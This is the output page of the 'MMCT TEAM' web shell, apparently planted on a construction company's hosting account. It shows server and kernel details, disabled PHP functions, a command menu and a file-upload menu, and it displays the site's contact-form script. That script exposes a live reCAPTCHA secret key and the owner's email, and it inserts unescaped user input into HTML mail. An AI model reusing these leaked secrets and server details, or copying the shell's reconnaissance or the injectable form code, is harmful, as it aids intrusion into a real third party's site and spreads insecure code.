MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 3.15.187.189
Web Server : LiteSpeed
System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/aasthaconstruction.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/aasthaconstruction.in/public_html/mail.php
<?php 


if(isset($_POST['submit']))
{

			$name=$_POST['name'];
            $phone=$_POST['phone'];
			$email=$_POST['email'];
			$message=$_POST['message'];
			
			$to = 'ashutosh.yadav@aasthaconstruction.in';
			$subject = 'Enquiry From Aastha Construction';
			
			$headers = "From: ashutosh.yadav@aasthaconstruction.in \r\n";
			$headers .= "Reply-To: ". strip_tags($email) . "\r\n";
			$headers .= "MIME-Version: 1.0\r\n";
			$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
			
			$Mailsubject = "Enquiry for Contact From ".$name;
			$message = "<table width='100%' border='0' cellspacing='5' cellpadding='5'>
									 
									 <tr><td><strong> Enquiry for The Contact </strong></td></tr>
									 <tr><td><b> Name</b> : $name </td></tr>
									 <tr><td><b> Email</b> : $email </td></tr>
									 <tr><td><b>Phone </b>: $phone </td></tr>  
									 <tr><td><b> Message </b> : $message </td></tr>
									  </table>";
		$secret = '6LegslAaAAAAAH0aAB1u3L73vlM8-YZx-TlRHDQi';
        $verifyResponse = file_get_contents('https://www.google.com/recaptcha/api/siteverify?secret='.$secret.'&response='.$_POST['g-recaptcha-response']);
        $responseData = json_decode($verifyResponse);
        if($responseData->success){
			
			mail($to, $Mailsubject, $message, $headers);
                echo "<script>alert('Thank You for your query, Our team will touch base with you shortly'); window.open('contact-us.html','_self')</script>";        
				  
            
              
            
        }else{
            echo '<script>alert("Mail can not send due to some technical error");window.location="contact-us.html";</script>';
        }
        
}
?>

MMCT - 2023